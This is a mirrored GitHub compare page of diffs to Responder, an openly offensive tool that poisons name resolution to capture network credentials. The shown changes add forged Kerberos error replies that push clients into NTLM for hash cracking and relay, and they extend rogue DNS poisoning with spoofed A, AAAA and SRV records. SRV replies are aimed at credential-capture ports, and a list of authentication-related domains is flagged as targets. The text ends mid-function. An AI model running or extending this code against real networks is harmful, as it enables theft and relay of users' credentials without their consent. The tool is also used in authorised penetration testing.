mirror of
https://github.com/lgandx/Responder.git
synced 2026-01-27 00:29:04 +00:00
Compare commits
14 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1191936598 | ||
|
|
b4a1423875 | ||
|
|
bb4c041481 | ||
|
|
9cda8146df | ||
|
|
b11946fcb5 | ||
|
|
de3eb39b20 | ||
|
|
9234d3b8f7 | ||
|
|
8bbe77a709 | ||
|
|
376d2e87d2 | ||
|
|
683fa6047e | ||
|
|
1d41902e48 | ||
|
|
35e6d70d83 | ||
|
|
b74f42f56a | ||
|
|
1f7858a223 |
@@ -105,6 +105,37 @@ SendRA = Off
|
||||
; Example: 2001:db8::1
|
||||
BindToIPv6 =
|
||||
|
||||
[Kerberos]
|
||||
; ======================================================
|
||||
; Kerberos Operation Mode (NEW FEATURE)
|
||||
; ======================================================
|
||||
;
|
||||
; CAPTURE (default) - Capture Kerberos AS-REP hashes
|
||||
; - Responds with KDC_ERR_PREAUTH_REQUIRED
|
||||
; - Client sends encrypted timestamp
|
||||
; - Responder captures AS-REP hash
|
||||
; - Crack with: hashcat -m 7500
|
||||
; - Good for: Stealthy operation, unique Kerberos hashes
|
||||
;
|
||||
; FORCE_NTLM - Force client to fall back to NTLM
|
||||
; - Responds with KDC_ERR_ETYPE_NOSUPP
|
||||
; - Client abandons Kerberos, tries NTLM
|
||||
; - Responder's SMB/HTTP captures NetNTLMv2
|
||||
; - Crack with: hashcat -m 5600
|
||||
; - Good for: Relay attacks, faster cracking
|
||||
;
|
||||
; Choose based on engagement needs:
|
||||
; - Use CAPTURE for stealth and Kerberos-specific hashes
|
||||
; - Use FORCE_NTLM for relay attacks or faster cracking
|
||||
;
|
||||
; Default: CAPTURE (if not specified)
|
||||
; ======================================================
|
||||
|
||||
KerberosMode = CAPTURE
|
||||
|
||||
; Alternative: Force NTLM fallback
|
||||
;KerberosMode = FORCE_NTLM
|
||||
|
||||
[HTTP Server]
|
||||
|
||||
; Set to On to always serve the custom EXE
|
||||
|
||||
@@ -455,7 +455,7 @@ def main():
|
||||
if settings.Config.DNS_On_Off:
|
||||
from servers.DNS import DNS, DNSTCP
|
||||
threads.append(Thread(target=serve_thread_udp, args=('', 53, DNS,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))
|
||||
threads.append(Thread(target=serve_thread_tcp, args=('', 53, DNSTCP,)))
|
||||
|
||||
if settings.Config.SNMP_On_Off:
|
||||
from servers.SNMP import SNMP
|
||||
|
||||
146
packets.py
146
packets.py
@@ -1249,42 +1249,6 @@ class SMBSessionData(Packet):
|
||||
self.fields["bcc"] = StructWithLenPython2or3("<h", len(CompleteBCC))
|
||||
self.fields["PasswordLen"] = StructWithLenPython2or3("<h", len(str(self.fields["AccountPassword"])))
|
||||
|
||||
class SMBNegoFingerData(Packet):
|
||||
fields = OrderedDict([
|
||||
("separator1","\x02" ),
|
||||
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
|
||||
("separator2","\x02"),
|
||||
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
|
||||
("separator3","\x02"),
|
||||
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
|
||||
("separator4","\x02"),
|
||||
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
|
||||
("separator5","\x02"),
|
||||
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
|
||||
("separator6","\x02"),
|
||||
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
|
||||
])
|
||||
|
||||
class SMBSessionFingerData(Packet):
|
||||
fields = OrderedDict([
|
||||
("wordcount", "\x0c"),
|
||||
("AndXCommand", "\xff"),
|
||||
("reserved","\x00" ),
|
||||
("andxoffset", "\x00\x00"),
|
||||
("maxbuff","\x04\x11"),
|
||||
("maxmpx", "\x32\x00"),
|
||||
("vcnum","\x00\x00"),
|
||||
("sessionkey", "\x00\x00\x00\x00"),
|
||||
("securitybloblength","\x4a\x00"),
|
||||
("reserved2","\x00\x00\x00\x00"),
|
||||
("capabilities", "\xd4\x00\x00\xa0"),
|
||||
("bcc1",""),
|
||||
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["bcc1"] = StructPython2or3('<h',self.fields["Data"])
|
||||
|
||||
class SMBTreeConnectData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x04"),
|
||||
@@ -2381,113 +2345,3 @@ class RPCNTLMNego(Packet):
|
||||
|
||||
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
|
||||
|
||||
################### Mailslot NETLOGON ######################
|
||||
class NBTUDPHeader(Packet):
|
||||
fields = OrderedDict([
|
||||
("MessType", "\x11"),
|
||||
("MoreFrag", "\x02"),
|
||||
("TID", "\x82\x92"),
|
||||
("SrcIP", "0.0.0.0"),
|
||||
("SrcPort", "\x00\x8a"), ##Always 138
|
||||
("DatagramLen", "\x00\x00"),
|
||||
("PacketOffset", "\x00\x00"),
|
||||
("ClientNBTName", ""),
|
||||
("DstNBTName", ""),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
self.fields["SrcIP"] = RespondWithIPAton()
|
||||
## DatagramLen.
|
||||
DataGramLen = str(self.fields["PacketOffset"])+str(self.fields["ClientNBTName"])+str(self.fields["DstNBTName"])+str(self.fields["Data"])
|
||||
self.fields["DatagramLen"] = StructWithLenPython2or3(">h",len(DataGramLen))
|
||||
|
||||
class SMBTransMailslot(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x11"),
|
||||
("TotalParamCount", "\x00\x00"),
|
||||
("TotalDataCount", "\x00\x00"),
|
||||
("MaxParamCount", "\x02\x00"),
|
||||
("MaxDataCount", "\x00\x00"),
|
||||
("MaxSetupCount", "\x00"),
|
||||
("Reserved", "\x00"),
|
||||
("Flags", "\x00\x00"),
|
||||
("Timeout", "\xff\xff\xff\xff"),
|
||||
("Reserved2", "\x00\x00"),
|
||||
("ParamCount", "\x00\x00"),
|
||||
("ParamOffset", "\x00\x00"),
|
||||
("DataCount", "\x00\x00"),
|
||||
("DataOffset", "\x00\x00"),
|
||||
("SetupCount", "\x03"),
|
||||
("Reserved3", "\x00"),
|
||||
("Opcode", "\x01\x00"),
|
||||
("Priority", "\x00\x00"),
|
||||
("Class", "\x02\x00"),
|
||||
("Bcc", "\x00\x00"),
|
||||
("MailSlot", "\\MAILSLOT\\NET\\NETLOGON"),
|
||||
("MailSlotNull", "\x00"),
|
||||
("Padding", "\x00\x00\x00"),
|
||||
("Data", ""),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
#Padding
|
||||
if len(str(self.fields["Data"]))%2==0:
|
||||
self.fields["Padding"] = "\x00\x00\x00\x00"
|
||||
else:
|
||||
self.fields["Padding"] = "\x00\x00\x00"
|
||||
BccLen = str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])+str(self.fields["Data"])
|
||||
PacketOffsetLen = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved2"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved3"])+str(self.fields["Opcode"])+str(self.fields["Priority"])+str(self.fields["Class"])+str(self.fields["Bcc"])+str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])
|
||||
|
||||
self.fields["DataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
|
||||
self.fields["TotalDataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
|
||||
self.fields["DataOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
|
||||
self.fields["ParamOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
|
||||
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(BccLen))
|
||||
|
||||
class SamLogonResponseEx(Packet):
|
||||
fields = OrderedDict([
|
||||
("Cmd", "\x17\x00"),
|
||||
("Sbz", "\x00\x00"),
|
||||
("Flags", "\xfd\x03\x00\x00"),
|
||||
("DomainGUID", "\xe7\xfd\xf2\x4a\x4f\x98\x8b\x49\xbb\xd3\xcd\x34\xc7\xba\x57\x70"),
|
||||
("ForestName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
|
||||
("ForestNameNull", "\x00"),
|
||||
("ForestDomainName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
|
||||
("ForestDomainNull", "\x00"),
|
||||
("DNSName", "\x0a\x73\x65\x72\x76\x65\x72\x32\x30\x30\x33"),
|
||||
("DNSPointer", "\xc0\x18"),
|
||||
("DomainName", "\x04\x53\x4d\x42\x33"),
|
||||
("DomainTerminator", "\x00"),
|
||||
("ServerLen", "\x0a"),
|
||||
("ServerName", settings.Config.MachineName),
|
||||
("ServerTerminator", "\x00"),
|
||||
("UsernameLen", "\x10"),
|
||||
("Username", settings.Config.Username),
|
||||
("UserTerminator", "\x00"),
|
||||
("SrvSiteNameLen", "\x17"),
|
||||
("SrvSiteName", "Default-First-Site-Name"),
|
||||
("SrvSiteNameNull", "\x00"),
|
||||
("Pointer", "\xc0"),
|
||||
("PointerOffset", "\x5c"),
|
||||
("DCAddrSize", "\x10"),
|
||||
("AddrType", "\x02\x00"),
|
||||
("Port", "\x00\x00"),
|
||||
("DCAddress", "\xc0\xab\x01\x65"),
|
||||
("SinZero", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("Version", "\x0d\x00\x00\x00"),
|
||||
("LmToken", "\xff\xff"),
|
||||
("LmToken2", "\xff\xff"),
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
Offset = str(self.fields["Cmd"])+str(self.fields["Sbz"])+str(self.fields["Flags"])+str(self.fields["DomainGUID"])+str(self.fields["ForestName"])+str(self.fields["ForestNameNull"])+str(self.fields["ForestDomainName"])+str(self.fields["ForestDomainNull"])+str(self.fields["DNSName"])+str(self.fields["DNSPointer"])+str(self.fields["DomainName"])+str(self.fields["DomainTerminator"])+str(self.fields["ServerLen"])+str(self.fields["ServerName"])+str(self.fields["ServerTerminator"])+str(self.fields["UsernameLen"])+str(self.fields["Username"])+str(self.fields["UserTerminator"])
|
||||
|
||||
DcLen = str(self.fields["AddrType"])+str(self.fields["Port"])+str(self.fields["DCAddress"])+str(self.fields["SinZero"])
|
||||
self.fields["DCAddress"] = RespondWithIPAton()
|
||||
self.fields["ServerLen"] = StructWithLenPython2or3("<B",len(str(self.fields["ServerName"])))
|
||||
self.fields["UsernameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["Username"])))
|
||||
self.fields["SrvSiteNameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["SrvSiteName"])))
|
||||
self.fields["DCAddrSize"] = StructWithLenPython2or3("<B",len(DcLen))
|
||||
self.fields["PointerOffset"] = StructWithLenPython2or3("<B",len(Offset))
|
||||
|
||||
|
||||
273
servers/DNS.py
273
servers/DNS.py
@@ -22,8 +22,8 @@
|
||||
# - MX record poisoning for email client authentication capture
|
||||
# - SRV record poisoning for service discovery (Kerberos, LDAP, etc.)
|
||||
# - Logs interesting authentication-related domains
|
||||
# - Short TTL (60s) to ensure frequent re-queries
|
||||
# - IPv6 support for modern networks
|
||||
# - 5 minute TTL for efficient caching
|
||||
# - Proper IPv6 support (uses -6 option, auto-detects, or skips AAAA)
|
||||
# - Domain filtering to target specific domains only
|
||||
#
|
||||
from utils import *
|
||||
@@ -105,8 +105,9 @@ class DNS(BaseRequestHandler):
|
||||
socket_obj.sendto(response, self.client_address)
|
||||
|
||||
target_ip = self.get_target_ip(query_type)
|
||||
print(color('[DNS] Poisoned response: %s -> %s' % (
|
||||
query_name, target_ip), 2, 1))
|
||||
if target_ip:
|
||||
print(color('[DNS] Poisoned response: %s -> %s' % (
|
||||
query_name, target_ip), 2, 1))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
@@ -262,6 +263,14 @@ class DNS(BaseRequestHandler):
|
||||
if settings.Config.Verbose:
|
||||
print(color('[DNS] Query matches target domain %s - responding' % target_domain, 3, 1))
|
||||
|
||||
# For AAAA queries, only respond if we have a valid IPv6 address
|
||||
# With link-local fallback, this should almost always succeed
|
||||
# Only fails if IPv6 is completely disabled on the system
|
||||
if query_type == 28: # AAAA
|
||||
ipv6 = self.get_ipv6_address()
|
||||
if not ipv6:
|
||||
return False
|
||||
|
||||
# Respond to these query types:
|
||||
# A (1), SOA (6), MX (15), TXT (16), AAAA (28), SRV (33), ANY (255)
|
||||
# SVCB (64), HTTPS (65) - Service Binding records
|
||||
@@ -269,13 +278,6 @@ class DNS(BaseRequestHandler):
|
||||
if query_type not in supported_types:
|
||||
return False
|
||||
|
||||
# Check if domain is in analyze mode targets
|
||||
# DNS server should not be affected by analyze mode since its not a poisoner, but a rogue DNS server.
|
||||
#if hasattr(settings.Config, 'AnalyzeMode'):
|
||||
#if settings.Config.AnalyzeMode:
|
||||
# In analyze mode, log but don't respond
|
||||
#return False
|
||||
|
||||
# Log interesting queries (authentication-related domains)
|
||||
query_lower = query_name.lower()
|
||||
interesting_patterns = ['login', 'auth', 'sso', 'portal', 'vpn', 'mail', 'smtp', 'imap', 'exchange', '_ldap', '_kerberos', '_gc', '_kpasswd', '_msdcs']
|
||||
@@ -339,23 +341,27 @@ class DNS(BaseRequestHandler):
|
||||
# Class
|
||||
response += struct.pack('>H', query_class)
|
||||
|
||||
# TTL (short to ensure frequent re-queries)
|
||||
response += struct.pack('>I', 60) # 60 seconds
|
||||
# TTL (5 minutes for better caching while still allowing updates)
|
||||
response += struct.pack('>I', 300) # 300 seconds = 5 minutes
|
||||
|
||||
# Get target IP
|
||||
target_ip = self.get_target_ip(query_type)
|
||||
# Get target IP for A records
|
||||
target_ipv4 = self.get_ipv4_address()
|
||||
|
||||
if query_type == 1: # A record
|
||||
# RDLENGTH
|
||||
response += struct.pack('>H', 4)
|
||||
# RDATA (IPv4 address)
|
||||
response += socket.inet_aton(target_ip)
|
||||
response += socket.inet_aton(target_ipv4)
|
||||
|
||||
elif query_type == 28: # AAAA record
|
||||
# Get proper IPv6 address (already validated in should_respond)
|
||||
ipv6 = self.get_ipv6_address()
|
||||
if not ipv6:
|
||||
return None # Should not happen if should_respond worked
|
||||
|
||||
# RDLENGTH
|
||||
response += struct.pack('>H', 16)
|
||||
# RDATA (IPv6 address)
|
||||
ipv6 = self.get_ipv6_address()
|
||||
response += socket.inet_pton(socket.AF_INET6, ipv6)
|
||||
|
||||
elif query_type == 6: # SOA record (Start of Authority)
|
||||
@@ -413,20 +419,22 @@ class DNS(BaseRequestHandler):
|
||||
|
||||
elif query_type == 33: # SRV record (service discovery)
|
||||
# SRV format: priority, weight, port, target
|
||||
# Useful for capturing Kerberos, LDAP, etc.
|
||||
srv_data = struct.pack('>HHH', 0, 0, 445) # priority, weight, port (SMB)
|
||||
# Determine correct port based on service name in query
|
||||
srv_port = self.get_srv_port(query_name)
|
||||
|
||||
srv_data = struct.pack('>HHH', 0, 0, srv_port) # priority, weight, port
|
||||
srv_data += b'\xc0\x0c' # Target (pointer to query name)
|
||||
|
||||
response += struct.pack('>H', len(srv_data))
|
||||
response += srv_data
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print(color('[DNS] SRV record poisoned - potential service auth capture', 3, 1))
|
||||
print(color('[DNS] SRV record poisoned: %s -> port %d' % (query_name, srv_port), 3, 1))
|
||||
|
||||
elif query_type == 255: # ANY query
|
||||
# Respond with A record
|
||||
response += struct.pack('>H', 4)
|
||||
response += socket.inet_aton(target_ip)
|
||||
response += socket.inet_aton(target_ipv4)
|
||||
|
||||
elif query_type == 64 or query_type == 65: # SVCB (64) or HTTPS (65) record
|
||||
# Service Binding records - respond with alias to same domain
|
||||
@@ -505,55 +513,121 @@ class DNS(BaseRequestHandler):
|
||||
|
||||
def get_target_ip(self, query_type):
|
||||
"""Get the target IP address for spoofed responses"""
|
||||
# Use Responder's configured IP
|
||||
if query_type == 28: # AAAA
|
||||
return self.get_ipv6_address()
|
||||
else: # A record
|
||||
return settings.Config.Bind_To
|
||||
else: # A record and others
|
||||
return self.get_ipv4_address()
|
||||
|
||||
def get_ipv4_address(self):
|
||||
"""Get IPv4 address for A record responses"""
|
||||
# Priority 1: Use ExternalIP if set (-e option)
|
||||
if hasattr(settings.Config, 'ExternalIP') and settings.Config.ExternalIP:
|
||||
return settings.Config.ExternalIP
|
||||
|
||||
# Priority 2: Use Bind_To (default)
|
||||
return settings.Config.Bind_To
|
||||
|
||||
def get_ipv6_address(self):
|
||||
"""Get IPv6 address for AAAA responses"""
|
||||
# Priority 1: Use explicitly configured IPv6
|
||||
if hasattr(settings.Config, 'Bind_To_IPv6') and settings.Config.Bind_To_IPv6:
|
||||
return settings.Config.Bind_To_IPv6
|
||||
"""
|
||||
Get IPv6 address for AAAA responses
|
||||
|
||||
# Priority 2: Try to detect actual IPv6 on interface
|
||||
Returns a valid native IPv6 address.
|
||||
|
||||
Priority order:
|
||||
1. ExternalIP6 (-6 command line option)
|
||||
2. Bind_To_IPv6 from config file
|
||||
3. Global IPv6 on interface (auto-detected)
|
||||
4. Link-local fe80:: on interface (fallback - always available!)
|
||||
|
||||
Link-local addresses work for Responder because:
|
||||
- Responder operates on the local network segment
|
||||
- Clients on the same segment can reach fe80:: addresses
|
||||
- fe80:: is always available when IPv6 is enabled
|
||||
|
||||
Does NOT return IPv4-mapped addresses (::ffff:x.x.x.x).
|
||||
"""
|
||||
# Priority 1: Use ExternalIP6 if set (-6 command line option)
|
||||
if hasattr(settings.Config, 'ExternalIP6') and settings.Config.ExternalIP6:
|
||||
ipv6 = settings.Config.ExternalIP6
|
||||
# Validate it's not an IPv4-mapped address
|
||||
if not ipv6.startswith('::ffff:'):
|
||||
return ipv6
|
||||
|
||||
# Priority 2: Use Bind_To_IPv6 from config
|
||||
if hasattr(settings.Config, 'Bind_To_IPv6') and settings.Config.Bind_To_IPv6:
|
||||
ipv6 = settings.Config.Bind_To_IPv6
|
||||
if not ipv6.startswith('::ffff:'):
|
||||
return ipv6
|
||||
|
||||
# Priority 3 & 4: Try to auto-detect IPv6 on the interface
|
||||
# First pass: look for global IPv6
|
||||
# Second pass: accept link-local fe80::
|
||||
try:
|
||||
import netifaces
|
||||
|
||||
target_iface = None
|
||||
|
||||
# Find interface from IPv4 address
|
||||
ipv4 = settings.Config.Bind_To
|
||||
|
||||
# Find which interface has this IPv4
|
||||
for iface in netifaces.interfaces():
|
||||
try:
|
||||
addrs = netifaces.ifaddresses(iface)
|
||||
|
||||
# Check if this interface has our IPv4
|
||||
if netifaces.AF_INET in addrs:
|
||||
for addr in addrs[netifaces.AF_INET]:
|
||||
if addr.get('addr') == ipv4:
|
||||
# Found the interface, get its global IPv6
|
||||
if netifaces.AF_INET6 in addrs:
|
||||
for ipv6_addr in addrs[netifaces.AF_INET6]:
|
||||
ipv6 = ipv6_addr.get('addr', '').split('%')[0]
|
||||
# Return first global IPv6 (not link-local fe80::)
|
||||
if ipv6 and not ipv6.startswith('fe80:'):
|
||||
return ipv6
|
||||
target_iface = iface
|
||||
break
|
||||
if target_iface:
|
||||
break
|
||||
except:
|
||||
continue
|
||||
|
||||
# If no interface found via IPv4, use configured interface
|
||||
if not target_iface and hasattr(settings.Config, 'Interface') and settings.Config.Interface:
|
||||
target_iface = settings.Config.Interface
|
||||
|
||||
if target_iface:
|
||||
try:
|
||||
addrs = netifaces.ifaddresses(target_iface)
|
||||
if netifaces.AF_INET6 in addrs:
|
||||
global_ipv6 = None
|
||||
linklocal_ipv6 = None
|
||||
|
||||
for ipv6_addr in addrs[netifaces.AF_INET6]:
|
||||
ipv6 = ipv6_addr.get('addr', '').split('%')[0] # Remove %interface suffix
|
||||
|
||||
if not ipv6 or ipv6.startswith('::ffff:') or ipv6 == '::1':
|
||||
continue
|
||||
|
||||
if ipv6.startswith('fe80:'):
|
||||
# Link-local - save as fallback
|
||||
if not linklocal_ipv6:
|
||||
linklocal_ipv6 = ipv6
|
||||
else:
|
||||
# Global IPv6 - preferred
|
||||
if not global_ipv6:
|
||||
global_ipv6 = ipv6
|
||||
|
||||
# Priority 3: Return global IPv6 if available
|
||||
if global_ipv6:
|
||||
return global_ipv6
|
||||
|
||||
# Priority 4: Fall back to link-local
|
||||
if linklocal_ipv6:
|
||||
return linklocal_ipv6
|
||||
except:
|
||||
pass
|
||||
|
||||
except ImportError:
|
||||
pass
|
||||
except:
|
||||
pass
|
||||
pass # netifaces not available
|
||||
except Exception as e:
|
||||
pass # IPv6 detection failed silently
|
||||
|
||||
# Priority 3: Use IPv4-mapped IPv6 format (::ffff:x.x.x.x)
|
||||
# This allows dual-stack clients to connect via IPv4
|
||||
try:
|
||||
ipv4 = settings.Config.Bind_To
|
||||
return '::ffff:%s' % ipv4
|
||||
except:
|
||||
pass
|
||||
|
||||
# Last resort: return IPv6 loopback
|
||||
return '::1'
|
||||
# No IPv6 found at all (IPv6 disabled on system)
|
||||
return None
|
||||
|
||||
def get_type_name(self, query_type):
|
||||
"""Convert query type number to name"""
|
||||
@@ -573,6 +647,100 @@ class DNS(BaseRequestHandler):
|
||||
255: 'ANY'
|
||||
}
|
||||
return types.get(query_type, 'TYPE%d' % query_type)
|
||||
|
||||
def get_srv_port(self, query_name):
|
||||
"""
|
||||
Determine the correct port for SRV record responses based on service name.
|
||||
|
||||
SRV query format: _service._protocol.name
|
||||
Examples:
|
||||
_ldap._tcp.dc._msdcs.domain.local → 389
|
||||
_kerberos._tcp.domain.local → 88
|
||||
_gc._tcp.domain.local → 3268
|
||||
|
||||
Returns appropriate port for the service, defaults to 445 (SMB) if unknown.
|
||||
"""
|
||||
query_lower = query_name.lower()
|
||||
|
||||
# Service to port mapping
|
||||
# Format: (service_pattern, port)
|
||||
srv_ports = [
|
||||
# LDAP services
|
||||
('_ldap._tcp', 389),
|
||||
('_ldap._udp', 389),
|
||||
('_ldaps._tcp', 636),
|
||||
|
||||
# Kerberos services
|
||||
('_kerberos._tcp', 88),
|
||||
('_kerberos._udp', 88),
|
||||
('_kerberos-master._tcp', 88),
|
||||
('_kerberos-master._udp', 88),
|
||||
('_kpasswd._tcp', 464),
|
||||
('_kpasswd._udp', 464),
|
||||
('_kerberos-adm._tcp', 749),
|
||||
|
||||
# Global Catalog (Active Directory)
|
||||
('_gc._tcp', 3268),
|
||||
('_gc._ssl._tcp', 3269),
|
||||
|
||||
# Web services
|
||||
('_http._tcp', 80),
|
||||
('_https._tcp', 443),
|
||||
('_http._ssl._tcp', 443),
|
||||
|
||||
# Email services
|
||||
('_smtp._tcp', 25),
|
||||
('_submission._tcp', 587),
|
||||
('_imap._tcp', 143),
|
||||
('_imaps._tcp', 993),
|
||||
('_pop3._tcp', 110),
|
||||
('_pop3s._tcp', 995),
|
||||
|
||||
# File/Remote services
|
||||
('_smb._tcp', 445),
|
||||
('_cifs._tcp', 445),
|
||||
('_ftp._tcp', 21),
|
||||
('_sftp._tcp', 22),
|
||||
('_ssh._tcp', 22),
|
||||
('_telnet._tcp', 23),
|
||||
('_rdp._tcp', 3389),
|
||||
('_ms-wbt-server._tcp', 3389), # RDP
|
||||
|
||||
# Windows services
|
||||
('_winrm._tcp', 5985),
|
||||
('_winrm-ssl._tcp', 5986),
|
||||
('_wsman._tcp', 5985),
|
||||
('_ntp._udp', 123),
|
||||
|
||||
# Database services
|
||||
('_mssql._tcp', 1433),
|
||||
('_mysql._tcp', 3306),
|
||||
('_postgresql._tcp', 5432),
|
||||
('_oracle._tcp', 1521),
|
||||
|
||||
# SIP/VoIP
|
||||
('_sip._tcp', 5060),
|
||||
('_sip._udp', 5060),
|
||||
('_sips._tcp', 5061),
|
||||
|
||||
# XMPP/Jabber
|
||||
('_xmpp-client._tcp', 5222),
|
||||
('_xmpp-server._tcp', 5269),
|
||||
|
||||
# Other
|
||||
('_finger._tcp', 79),
|
||||
('_ipp._tcp', 631), # Internet Printing Protocol
|
||||
]
|
||||
|
||||
# Check each pattern
|
||||
for pattern, port in srv_ports:
|
||||
if query_lower.startswith(pattern):
|
||||
return port
|
||||
|
||||
# Default to SMB port for unknown services
|
||||
# This is a reasonable default for credential capture
|
||||
return 445
|
||||
|
||||
|
||||
class DNSTCP(BaseRequestHandler):
|
||||
"""
|
||||
@@ -660,8 +828,9 @@ class DNSTCP(BaseRequestHandler):
|
||||
self.request.sendall(tcp_response)
|
||||
|
||||
target_ip = dns_handler.get_target_ip(query_type)
|
||||
print(color('[DNS-TCP] Poisoned response: %s -> %s' % (
|
||||
query_name, target_ip), 2, 1))
|
||||
if target_ip:
|
||||
print(color('[DNS-TCP] Poisoned response: %s -> %s' % (
|
||||
query_name, target_ip), 2, 1))
|
||||
|
||||
except Exception as e:
|
||||
if settings.Config.Verbose:
|
||||
|
||||
@@ -444,6 +444,85 @@ def build_krb_error(realm, cname, sname=None):
|
||||
|
||||
return krb_error
|
||||
|
||||
def build_krb_error_force_ntlm(realm, cname, sname=None):
|
||||
"""
|
||||
Build KRB-ERROR with KDC_ERR_ETYPE_NOSUPP (14)
|
||||
This forces the client to fall back to NTLM authentication
|
||||
|
||||
Useful when you want NetNTLMv2 hashes instead of Kerberos AS-REP:
|
||||
- NetNTLMv2 is often faster to crack
|
||||
- Can be relayed to other services
|
||||
"""
|
||||
|
||||
# Get current time
|
||||
current_time = time.time()
|
||||
time_str = time.strftime('%Y%m%d%H%M%SZ', time.gmtime(current_time))
|
||||
susec = int((current_time - int(current_time)) * 1000000)
|
||||
|
||||
# Build sname (server name)
|
||||
if sname is None:
|
||||
sname = 'krbtgt'
|
||||
|
||||
# Build the inner SEQUENCE
|
||||
inner = b''
|
||||
|
||||
# [0] pvno: 5
|
||||
inner += b'\xa0\x03\x02\x01\x05'
|
||||
|
||||
# [1] msg-type: 30 (KRB-ERROR)
|
||||
inner += b'\xa1\x03\x02\x01\x1e'
|
||||
|
||||
# [4] stime (server time)
|
||||
time_bytes = time_str.encode('ascii')
|
||||
inner += b'\xa4' + encode_asn1_length(len(time_bytes) + 2) + b'\x18' + encode_asn1_length(len(time_bytes)) + time_bytes
|
||||
|
||||
# [5] susec (microseconds)
|
||||
susec_bytes = struct.pack('>I', susec)
|
||||
while len(susec_bytes) > 1 and susec_bytes[0] == 0:
|
||||
susec_bytes = susec_bytes[1:]
|
||||
inner += b'\xa5' + encode_asn1_length(len(susec_bytes) + 2) + b'\x02' + encode_asn1_length(len(susec_bytes)) + susec_bytes
|
||||
|
||||
# [6] error-code: 14 (KDC_ERR_ETYPE_NOSUPP) - forces NTLM fallback
|
||||
inner += b'\xa6\x03\x02\x01\x0e'
|
||||
|
||||
# [9] realm (server realm)
|
||||
realm_bytes = realm.encode('ascii')
|
||||
inner += b'\xa9' + encode_asn1_length(len(realm_bytes) + 2) + b'\x1b' + encode_asn1_length(len(realm_bytes)) + realm_bytes
|
||||
|
||||
# [10] sname (server principal name)
|
||||
sname_str = sname.encode('ascii')
|
||||
realm_str = realm.encode('ascii')
|
||||
|
||||
# Build name-string SEQUENCE
|
||||
name_string_seq = b''
|
||||
name_string_seq += b'\x1b' + encode_asn1_length(len(sname_str)) + sname_str
|
||||
name_string_seq += b'\x1b' + encode_asn1_length(len(realm_str)) + realm_str
|
||||
|
||||
# Wrap in SEQUENCE
|
||||
name_string_wrapped = b'\x30' + encode_asn1_length(len(name_string_seq)) + name_string_seq
|
||||
name_string_tagged = b'\xa1' + encode_asn1_length(len(name_string_wrapped)) + name_string_wrapped
|
||||
name_type = b'\xa0\x03\x02\x01\x02'
|
||||
|
||||
# Build PrincipalName SEQUENCE
|
||||
principal_seq = name_type + name_string_tagged
|
||||
principal_wrapped = b'\x30' + encode_asn1_length(len(principal_seq)) + principal_seq
|
||||
|
||||
# Tag [10]
|
||||
inner += b'\xaa' + encode_asn1_length(len(principal_wrapped)) + principal_wrapped
|
||||
|
||||
# [11] e-text (error description)
|
||||
etext_str = "KDC has no support for encryption type"
